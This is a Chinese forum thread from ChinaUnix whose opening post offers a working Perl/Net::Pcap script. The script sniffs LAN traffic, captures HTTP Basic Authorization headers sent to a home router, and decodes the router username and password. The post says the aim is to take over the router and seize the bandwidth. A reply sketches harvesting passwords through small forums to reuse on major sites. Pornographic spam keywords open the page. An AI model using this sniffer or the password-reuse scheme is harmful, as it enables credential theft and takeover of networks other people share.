亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
12下一頁(yè)
最近訪問(wèn)板塊 發(fā)新帖
查看: 16517 | 回復(fù): 13
打印 上一主題 下一主題

獲取寬帶路由用戶名密碼 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2007-02-03 03:35 |只看該作者 |倒序?yàn)g覽

  1. #!/usr/bin/perl -w
  2. #############################################
  3. #作者:Minuit
  4. #時(shí)間:2007年02月03日 星期六 01時(shí)23分09秒
  5. #文件名:base64_test.pl
  6. #描述:從局域網(wǎng)中獲取寬帶路由用戶名密碼(用BASE64編碼解碼)
  7. #############################################
  8. use strict;
  9. use vars qw($i %opts %base_encode64 %base_decode64 $dev $dst $port $pcap $err $filter $program $net $mask);
  10. use subs qw(usage encode decode);
  11. use Net::Pcap;
  12. use Carp;
  13. $i=0;
  14. %base_decode64=map{$_=>$i++}('A'..'Z','a'..'z','0'..'9','+','/','=');
  15. $i=0;
  16. %base_encode64=map{$i++=>$_}('A'..'Z','a'..'z','0'..'9','+','/','=');
  17. use Getopt::Std;
  18. getopts('i:d:p:h', \%opts);
  19. $opts{i} and $dev=$opts{i};
  20. $optsa9ur7n9vt and $dst=$optsa9ur7n9vt;
  21. $opts{p} and $port=$opts{p};
  22. $opts{h} and usage($0);
  23. $SIG{INT}=sub {
  24.        Net::Pcap::close($pcap) if defined $pcap;
  25. };
  26. die "Must have (UID|EUID) == 0 to use $0\n" if $> || $<;
  27. $dst||="192.168.1.1";
  28. $port||="80";
  29. $filter="dst host $dst and dst port $port and tcp[13]&8==8";
  30. $dev||=Net::Pcap::lookupdev(\$err) or die "lookupdev:$err\n";
  31. $pcap=Net::Pcap::open_live($dev, 1024,1,0,\$err) or die "open_live:$err\n";
  32. Net::Pcap::lookupnet($dev,\$net,\$mask,\$err) and die "lookupnet:$err\n";
  33. Net::Pcap::compile($pcap,\$program,$filter,10,$mask) and croak "compile(): check string with filter";
  34. Net::Pcap::setfilter($pcap,$program);
  35. Net::Pcap::loop($pcap,0,\&recvpacket,"");
  36. sub recvpacket {
  37.         my($user_data, $header, $packet) = @_;
  38.        #解碼
  39.         print decode($1),"\n" if($packet=~/Authorization[\s:]*Basic\s*?(\S*)\r\n/osg);
  40.     }

  41. sub decode {
  42.         chomp(my $str=shift);
  43.         my ($code,$res);
  44.         $str=~s/=$//;
  45.         map{$code.=substr unpack("B*",chr($base_decode64{"$_"})),2}unpack("A"x length $str,$str);
  46.         $res=join "",map{chr(oct("0b$_"))}unpack("A8"x int(length($code)/8),$code);
  47.                 ($res="User=$res")=~s/:/,Passwrod=/;
  48.                 $res;
  49. }
  50. sub encode {
  51.         chomp(my $str=shift);
  52.         my ($code,$res);
  53.        #先把base64編碼后字符串分解然后變成二進(jìn)制串再合并
  54.         $code=pack("A*",map{unpack("B*",$_)}split " ",$str);
  55.         #得到后的全部二進(jìn)制串長(zhǎng)度然后除6看有多少個(gè)6位為一組的串組數(shù)
  56.         my $klen=int(length($code)/6);
  57.         #以6位為一組串的多余部份
  58.         my $tlen=int(length($str)*8%6);
  59.          #多余部份不然6位以0填充
  60.         $klen++,$code.=substr("000000",$tlen) if $tlen;
  61.         #分解二進(jìn)制串以6位為一組然后轉(zhuǎn)換成base64對(duì)應(yīng)的編碼再連接成串
  62.         $res=join "",map{$base_encode64{oct("0b00$_")}}unpack("A6"x $klen,$code);
  63.         #如果填充了字節(jié)那就以等號(hào)結(jié)束
  64.         $res.=$tlen?'=':'';
  65. }

  66. sub usage {
  67.         print <<"EOF";
  68.        Usage:$0 [-idp] -i interface -d dstip -p dstprot
  69. EOF
  70. exit
  71. }
復(fù)制代碼

有的朋友經(jīng)常在局域網(wǎng)里被人用網(wǎng)絡(luò)執(zhí)法官一類的工具整吧,然后用很多種辦法(例如mac綁定,還有和他對(duì)著用等等方法最后大家都上不成)都不是很有效
對(duì)付這類工具最直接的辦法就是控制路由器然后自己找一個(gè)沒(méi)人想得到的網(wǎng)段改一下然后把自己主機(jī)改成相同網(wǎng)段那就OK了現(xiàn)在所有帶寬都為你所用很爽吧
那怎么控制呢顯然是獲得路由器的用戶名密碼
說(shuō)一下原理
一般的寬帶路由器(并非像cisco那樣龐大的玩意只是一般的家用路由)差不多都是用web管理進(jìn)行配置的而它的驗(yàn)證方式也是用簡(jiǎn)單的http認(rèn)證用的編碼算法是base64碼
所以只需對(duì)它簡(jiǎn)單的解碼就可以得到路由器的用戶名密碼了
base64編碼規(guī)則是把所有8位二進(jìn)制以6位為一組,然后對(duì)每6位前面加兩個(gè)0組成新的8位為一組.然后根據(jù)base64編碼表,一一對(duì)換如果出現(xiàn)多余部份不足6位就在后面加0接著根據(jù)前面規(guī)則在6位前加兩個(gè)0然后尾部加上等號(hào)(這是根據(jù)我自己理解可能不是很正確)
http 驗(yàn)證是給用戶發(fā)用一401代碼讓用戶接受檢驗(yàn)在這里我們用不著管服務(wù)器端
當(dāng)服務(wù)器通知客戶端要驗(yàn)證時(shí)客戶端會(huì)出現(xiàn)一個(gè)小對(duì)話框,這個(gè)程序就是在用戶提交用戶信息時(shí)開(kāi)始做自己的事情的
在提交信息里面有一個(gè)Authorization的選項(xiàng)就是帶上客戶的用戶名和密碼這個(gè)程序就是根據(jù)這個(gè)字段來(lái)獲得的然后對(duì)它進(jìn)得解碼
編碼就不講了我們只用到解碼說(shuō)一下用法
-i 指定監(jiān)聽(tīng)接口(默認(rèn):隨便一個(gè)接口一般是eth0)
-d 路由器地址(默認(rèn):192.168.1.1)
-p 路由器web管理端口(默認(rèn):80)
還有一點(diǎn)有的寬帶路由器可能不同所以方法會(huì)用一點(diǎn)小的改變,或者你把編過(guò)碼的串用上面的函數(shù)手動(dòng)的給解一下就行了^_^
上面的兩個(gè)函數(shù)效率很低但一般用在小路由器上還是OK的但是別用在文件上編碼上如果想自己寫(xiě)建議用vec函數(shù)來(lái)實(shí)現(xiàn)
有什么不正確的地方歡迎拍磚^_^


如果要考慮解碼效率可以看看C 版本解碼函數(shù),你也可以轉(zhuǎn)成perl模塊MIME::Base64應(yīng)該也是從C函數(shù)轉(zhuǎn)過(guò)來(lái)的吧
http://72891.cn/viewthread.php?tid=895790&extra=page%3D1

[ 本帖最后由 lovesaka 于 2007-2-5 02:10 編輯 ]

抓圖4.png (40.12 KB, 下載次數(shù): 142)

成功獲得密碼

成功獲得密碼

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2007-02-03 10:26 |只看該作者
這個(gè)技術(shù)一般
我以前想的比你高明多了
因?yàn)槟壳昂芏嗳嗽诓煌恼搲蚴钦军c(diǎn)(比如cu,天涯,gmail,163,chinaren)的帳號(hào)差不多都是同樣的密碼
這些網(wǎng)站肯定無(wú)法得到對(duì)應(yīng)帳號(hào)密碼的
但是一些小的論壇(用有bug的bbs的版本,或是自己開(kāi)個(gè)論壇)然后收集帳號(hào)和密碼
再去嘗試用這些帳號(hào)和密碼去嘗試大型的站點(diǎn)。
我直接從人性,心理學(xué)角度分析,因?yàn)楝F(xiàn)在很多人恐怕不會(huì)做到一個(gè)網(wǎng)站一個(gè)帳號(hào)不同密碼!

論壇徽章:
0
3 [報(bào)告]
發(fā)表于 2007-02-03 10:59 |只看該作者
--

不錯(cuò)

說(shuō)實(shí)話,打看到你這標(biāo)題我就差不多猜到了下面一行:

use Net:: Pcap;

--

論壇徽章:
0
4 [報(bào)告]
發(fā)表于 2007-02-03 11:00 |只看該作者
原帖由 helbreathszw 于 2007-2-3 10:26 發(fā)表
這個(gè)技術(shù)一般
我以前想的比你高明多了
因?yàn)槟壳昂芏嗳嗽诓煌恼搲蚴钦军c(diǎn)(比如cu,天涯,gmail,163,chinaren)的帳號(hào)差不多都是同樣的密碼
這些網(wǎng)站肯定無(wú)法得到對(duì)應(yīng)帳號(hào)密碼的
但是一些小的論壇(用有bug的bbs的版本,或是自己開(kāi)個(gè)論壇)然后收集帳號(hào)和密碼
再去嘗試用這些帳號(hào)和密碼去嘗試大型的站點(diǎn)。
我直接從人性,心理學(xué)角度分析,因?yàn)楝F(xiàn)在很多人恐怕不會(huì)做到一個(gè)網(wǎng)站一個(gè)帳號(hào)不同密碼!  


恐怕這就是非技術(shù)作戰(zhàn)了。一個(gè)從技術(shù),一個(gè)從心理學(xué),呵呵。

--

論壇徽章:
0
5 [報(bào)告]
發(fā)表于 2007-02-03 18:13 |只看該作者
原帖由 helbreathszw 于 2007-2-3 10:26 發(fā)表
這個(gè)技術(shù)一般
我以前想的比你高明多了
因?yàn)槟壳昂芏嗳嗽诓煌恼搲蚴钦军c(diǎn)(比如cu,天涯,gmail,163,chinaren)的帳號(hào)差不多都是同樣的密碼
這些網(wǎng)站肯定無(wú)法得到對(duì)應(yīng)帳號(hào)密碼的
但是一些小的論壇(用有bug的b ...

NB自己開(kāi)論壇做齷磋事,看來(lái)你天生是被BS的^_^
寫(xiě)這個(gè)不是鼓勵(lì)大家做齷磋事,而是為了學(xué)習(xí)和研究網(wǎng)絡(luò)知識(shí)的

論壇徽章:
1
榮譽(yù)版主
日期:2011-11-23 16:44:17
6 [報(bào)告]
發(fā)表于 2007-02-03 18:28 |只看該作者
原帖由 lovesaka 于 2007-2-3 18:13 發(fā)表

NB自己開(kāi)論壇做齷磋事,看來(lái)你天生是被BS的^_^
寫(xiě)這個(gè)不是鼓勵(lì)大家做齷磋事,而是為了學(xué)習(xí)和研究網(wǎng)絡(luò)知識(shí)的

齷齪

論壇徽章:
0
7 [報(bào)告]
發(fā)表于 2007-02-03 18:29 |只看該作者
use MIME::Base64;比較快

論壇徽章:
0
8 [報(bào)告]
發(fā)表于 2007-02-03 18:34 |只看該作者
原帖由 langue 于 2007-2-3 10:59 發(fā)表
--

不錯(cuò)

說(shuō)實(shí)話,打看到你這標(biāo)題我就差不多猜到了下面一行:

use Net:: Pcap;

--

^_^
本來(lái)是想用Net::RawIP的后來(lái)想了想Net::RawIP只不過(guò)把pcap做成了類
把大部份函數(shù)合并了一下做成單個(gè)調(diào)用,還有它須要對(duì)一些東西初始化這些我用不著而且又麻煩就用Net:cap實(shí)在些
對(duì)了這個(gè)模塊是要在cpan下載的忘記說(shuō)了

論壇徽章:
0
9 [報(bào)告]
發(fā)表于 2007-02-03 18:41 |只看該作者
原帖由 大大狗 于 2007-2-3 18:28 發(fā)表

齷齪

經(jīng)常打錯(cuò)字,大家能看得懂就行了
use MIME::Base64;比較快

同意

論壇徽章:
1
2015年辭舊歲徽章
日期:2015-03-03 16:54:15
10 [報(bào)告]
發(fā)表于 2007-02-03 21:47 |只看該作者
我注冊(cè)小論壇時(shí)用的口令都是及其簡(jiǎn)單的口令。
只有我信得過(guò)的論壇我才會(huì)用比較隱秘的口令。
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過(guò)ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP